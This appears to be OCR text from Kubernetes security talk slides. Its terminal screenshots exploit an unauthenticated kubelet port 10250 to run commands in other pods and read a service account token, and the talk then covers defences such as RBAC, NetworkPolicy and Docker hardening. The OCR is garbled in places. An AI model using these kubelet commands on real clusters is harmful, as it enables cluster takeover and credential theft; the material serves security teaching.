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docker
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kubelet
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~/Downloads — root@ubuntu; ~ — ssh 192.168.10.218

# 1s ~-la

total 208

drwxr-xr-x 4096 Dec 14:35 .
drwxr=-xr-x 4996 Dec 14:35 ..

- WX =X =X @ Dec 14:23 .dockerenv
drwxr-xr-x 4996 Dec 14:31 bin

- 18, BIFGE—1B83E

4096 Apr 2016 boot

397312 Dec 14:35 core

drwxr-xr-x 360 Dec 14:41 dev

drwxr-xr-x 4996 Dec 14:33 etc

drwxr-xr-x 4296 Apr 2016 home
Dec 14:28

~/Downloads — root@ubuntu: ~ — ssh 192.168.10.218

- FRESHNFRINXEFRMTLARKREX
=

- BZHR TMRIE # ip route get 8.8.8.8
8.8.8.8 via 172.17.0.1 dev eth® src 172.17.0.2
. cache
- 172.17.0.1 2B ENALY IP 152 # []

- 1#1% 10250 ix O Liz1T& T 4 HRS? |

~/Downloads — root@ubuntu: ~ — ssh 192.168
= # curl -k https://172.17.0.1:10258/
y =3 kubelet! 424 page not found

# (]
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~/Downloads — root@a4851baab4da: / — ssh 192.168.10.218

root@ /# ip route get 8.8.8.8
8.8.8.8 via 172.17.0.1 dev eth® src 172.17.0.2
cache
root@ /# curl -k https://7172.17.0.1:108250/pods | ijq
¥ Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 25259 @ 25259 0 @ 206k ——i--i-- ——i--i-- —-i1--:1-- 205k
i
: "PodlList",
RV
: i,
P L

|
: "kube-proxy-vmzxc",
+ "kube-proxy-",

: "kube-system",

: "/api/vl/namespaces/kube-system/pods/kube-proxy-vmzxc",
: "2357615b-e26c-11e7-0808-0242ac140006" ,

: "131%,
: "2017-12-16T14:19;332",

: "build-in",
. "2.8.90%,
: "kube-proxy",
: l‘ll\

: '2017-12-16T06:19:33.551967961-08:00",
. "Opi " ,
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: "{\"kind\":\"SerializedReference\",\"apiVersion\" :\"vi\" ,\"reference\": {\"kind\" :\"DaemonS
et\",\"namespace\" :\"kube-system\",\"name\" : \"kube-proxy\" ,\"uid\" :\"23523da7-e26c-11e7-a808-0242ac140006c\" ,\"apiVersion\" :\"ext

ensions\",\"resourceVersion\":\"136@\"}}\n"

}
t [
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root@ /# curl -k -XPOST “https://172,.17.0.1:10250/run/defaul t/nginx-2002512901-kx6gk/nginx" -d "cmd=ls -la /" |
total 72

drwxr-xr-x 35 root root 4996 Dec 16 14:44 .

drwxr-xr-x 35 root root 4096 Dec 16 14:44 .,

-rxr-xr-x 1 root root @ Dec 16 14:44 .dockerenv

drwxr-xr-x 2 root root 4096 Oct 9 00:00 bin

draxr-xr-x 2 root root 4996 Jul 13 13:04 boot

drwxr-xr-x 5 root root 360 Dec 16 14:44 dev

drwxr-xr-x 42 root root 4996 Dec 16 14:44 etc

drwxr-xr-x 2 root root 4096 Jul 13 13:84 home
drwxr-xr-x 10 root root 4096 Oct 9 02:00 lib
draxr-xr-x 2 root root 4096 Oct 9 00:00 1ibt4
drwxr-xr-x 2 root root 4996 Oct 9 00:00 media
drwxr-xr-x 2 root root 4096 Oct 9 00:00 mnt
drwxr-xr-x 2 root root 4096 Oct 9 00:00 opt
dr-xr-xr-x 306 root root @ Dec 16 14:44 proc
drwx==--=--- 2 root root 4096 Oct 9 ©0:00 root
drwxr-xr-x 5 root root 4096 Dec 16 14:44 run
druxr-xr-x 2 root root 4996 Oct 9 00:00 sbin
drwxr-xr-x 2 root root 4096 Oct 9 00:00 srv
dr-xr-xr-x 13 root root @ Dec 16 14:46 sys
drwxrwxrwt 2 root root 4996 Nov 4 18:41 tmp
drwxr-xr-x 15 root root 4096 Oct 9 ©0:00 usr
drwxr-xr-x 16 root root 4096 Dec 16 14:44 var
root@ :/# curl -k -XPOST "https://172.17.0.1:10250/run/defaul t/nginx-2002512901-kxbgk/nginx" -d "cmd=whoami" |
root

root® /% (]
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namespace 7 Host I8
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~/Downloads — root@®ad951baabadda; [ — ssh 192.168.10.218 Paoto? ' _pash

pod does not existroot@ /# curl -k -XPOST \
> "https://172,17.0.1:10250/run/kube-system/calico-node-cvbdk/calico-node" \
> -d "cmd=ip route get 8.8.8.8"
8.8.8.8 via 192.168.10.1 dev ens33 src 192.168.10.218
cache
root@ 1:/# []

~/Downcads — root@aL£951baabdda: / — ssh 192.168.10.218 ~ — =bash r

root@a4951bacb4da: /# curl -k -XPOST "https://172.17.0.1:10250/run/kube-systen/calico-node-cvbdk/calico-node”
-d "ond=ls /var/run/secrets/kubernetes.io/serviceaccount®

ca.crt

namespace

token

root@a4951baab4da: /# curl -k -XPOST "https://172.17.0.1:10250/run/kube-systen/calico-node-cvbdk/calico-node™
-d "ond=cal /var/run/secrets/kubernetes,io/serviceaccount/token"

eyJhbGeiOLISUZIINIISINRSCCISIKPXVCIS ey Ipc3MiOL ) rdNIlamS1dGVZLINLcnZpY2ZVhYZNvdWSOIiwl a3vViDOUZXR1 cySpby9zZXI2amMNL
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version

root@ubuntu:~# netstat -anp | grep kubelet

tcp

tcp

tcp

tcp

tcp

tcp

tCpob
tcpb
tcpb
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix

W wWwWwwwwlw N
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root@ubuntu;~

e N N e S e U e e Uem L uml um  mm
e e e e e L e L e L 2

kubelet

10250
10255
4194

M
()
-

0 127.0.0.1:10248

9 127.0.0.1:49502

@ 127.9.0.1:49758

0 127.0.0.1:51820

9 127.0.0.1:48832

@ 127.0.0.1:51914

@ :::10250

@ :::10255

0 :::41%4
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM

root@ubuntu:~# [

:RRRRR®

LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

*r NN NNNS

% o

Minor:"6",
BuildDate: "2017-07-05T716:51:562",
Minor:"6",
BuildDate: "2017-07-05716:40:422",

ssssesS

~/Daownloads — roat@ubuntu: ~ — ssh 192.168.10.218

root@ubuntu;~# kubectl -s
Client Version: version.Info{Major:"1",
tTreeState: "clean”,
Server Yersion: version.Info{Major:"1",
tTreeState: "clean",

GitVersion:"vl1,6.7", GitCommit:"@95136¢3078ccf887b9034b7ceS98aBalfaff769", Gi
GoVersion:"gol.7.6", Comp
GitVersion:"v1.6.7", GitCommit:"@95136c3078ccf887b%034b7ce598alalfaff769", Gi
GoVersion:"gol.7.6", Comp

SO S
R #

47952
48643
47972
47973
48074
47834
48682
47974
48654
60059
54152

LISTEN
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
LISTEN
LISTEN
LISTEN

17406/ kube | et

17496/ kubelet

17406/ kubelet

17406/ kubelet

17406/ kubelet

17496/ kubelet

17406/ kubelet

17406/ kubelet

17406/ kubelet

17406/ kubelet

17406/ kubelet

root@ubuntu: ~ — ssk 192.168.10.218

root@ubuntu:~# kubelet -h 2>81 | grep -E "1025/419"

--codvisor-port int32 The

--port int32 The

--read-only-port int32 The
ntication/authorization (set to @ to disable) (default 10255)

,
.

DaoCloud
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~ — -bash
| B

iler:"gc", Platform:"linux/amd64"}
iler:"gc", Platform:"1inux/amd64"}

17406/ «ubelet
17406/\J,a__u
17406//:“ e
174@6/ubele
17406/ kubele
17406/< ele
1?406//r ] e
17406/ kubele
17406/_Mu\_y,
/var/run/dockershim, sock

l
1
't
't
l
l

/var/run/dockershim.sock

/var/run/dockershim, sock

port of the localhost cAdvisor endpoint (default 4194)
port for the Kubelet to serve on. (default 10250)
read-only port for the Kubelet to serve on with no authe




3 README.md

kubelet-exploit

There were discussions (hilps://github.com/kubernales/kubermeles/ssues/11816,

https://github.com/kubernetes/kubernetesfissues/3168, httos.//github.com/kubernates/kubernetesfissues/7965), but
looks lika nobady cares.

Everyoody whe has access to the service kubelet port (10250), even without a certificate, can execute any command
inside the container.

f /run/gnamespace¥/%pod_namek/%container_namek
$ curl -k =XPOST "nhttps://kBs-node~1:10250/run/kube-system/noce-exporter-iuwg7/node~exgorter" -d "comd=1s
total 12

Secure kubelet port 10250 # /965

G4 =B stephenR opened this issue on 8 May 2015 - 3 comments

stephenR commentad on 9 May 2015 -

The kubelet exposes an unauthenticatec endpoint on port 10250. The issues with this:

¢ there are the debug handlers /exec/ and jrun/ thet run code ir any container on the host
o these debug handlers zre enabled by defau't

¢ the code runin the container runs with full root capabilities (compared to docker's root with a
capability bounding set)

https://github.com/kayrus/kubelet-exploit
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https://github.com/kubernetes/kubernetes/issues/7965

https://github.com/kubernetes/kubernetes/issues/3168
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https://kubernetes.io/docs/concepts/architecture/master-node-communication/
o HMIAIE
e Service Account(JWT Token)
e RBAC

e ABAC

e TLS Client Authentication

root@ubuntu:~# netstat -anp | grep kubelet

STREAM CONNECTED 150424
STREAM CONNECTED 165398
STREAM CONNECTED 161852

unix
unix
unix
root@uburntu:

tco 2 9 127.2.0.1:10248 2.0.0.0:* LISTEN 32281/ kubel ot
 SSH Tunnels(Google Kube H- St USTEN  32281/kbel o
tcpe ¢ 0 :::18255 se:® LISTEN 32281/ kubel et
tcpe e 9 :::41%4 R LISTEN 32281/ kubel et
unix 2 [ acC ] STREAM LTSTENTNG 150470 ubel et /var/run/dockershim,
= N =1 unix 3 C1] STREAM CONNECTED 150479
e RIFIRE unix 3 [ ] STREAM  CONNECTED 151421
unix 3 L1 STREAM CONNECTED 150478
unix 3 [] STREAM CONNECTED 174167
unix 3 [1] STREAM CONNECTED 150480 kubelet /var/run/cockershim, s
. unix 3 [] STREAM CONNECTED 150481 ki 3 /var/run/dockershim,
* No wildcard address wnix 3 [ STREAM  COMNECTED 160763 :
3 L]
3 L]
3 L]
~# [




EEEIEXY

P BERVZ 15

nginx2 2 53F nginx1 3510 E/Y 80 i

apiVersion: extensions/vibetal
e Kubernetes 7N kind: NetworkPolicy
metadata:
, name: allow-nginx1-to-nginx2
* Network Policy namespace: default

Spec:
e Kubernetes Z4h p%i?frﬁjgglsz
run: nginx2
iIngress:
- from:
- podSelector:
. matchlLabels:
run: nginx
ports:
- protocol: TCP
port: 80

* |ptables
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Registry WhZA AL
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Code Review, Code Review, Code Review
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Docker Daemon thEE E?&?&E

o ITAEFIZFI Docker Remote API

o 1F#A{EF Volume IfH&E

o REJEE/DHIEREINEINEZS (—privileged)
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https://www.slideshare.net/mikestowe/secure-

networking-for-kubernetes

https://www.slideshare.net/MichaelCherny/security-best-

practices-for-kubernetes-deployment

https://www.owasp.org/index.php/Main Page
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https://www.slideshare.net/mikestowe/secure-networking-for-kubernetes
https://www.slideshare.net/mikestowe/secure-networking-for-kubernetes
https://www.slideshare.net/MichaelCherny/security-best-practices-for-kubernetes-deployment
https://www.slideshare.net/MichaelCherny/security-best-practices-for-kubernetes-deployment
https://www.owasp.org/index.php/Main_Page
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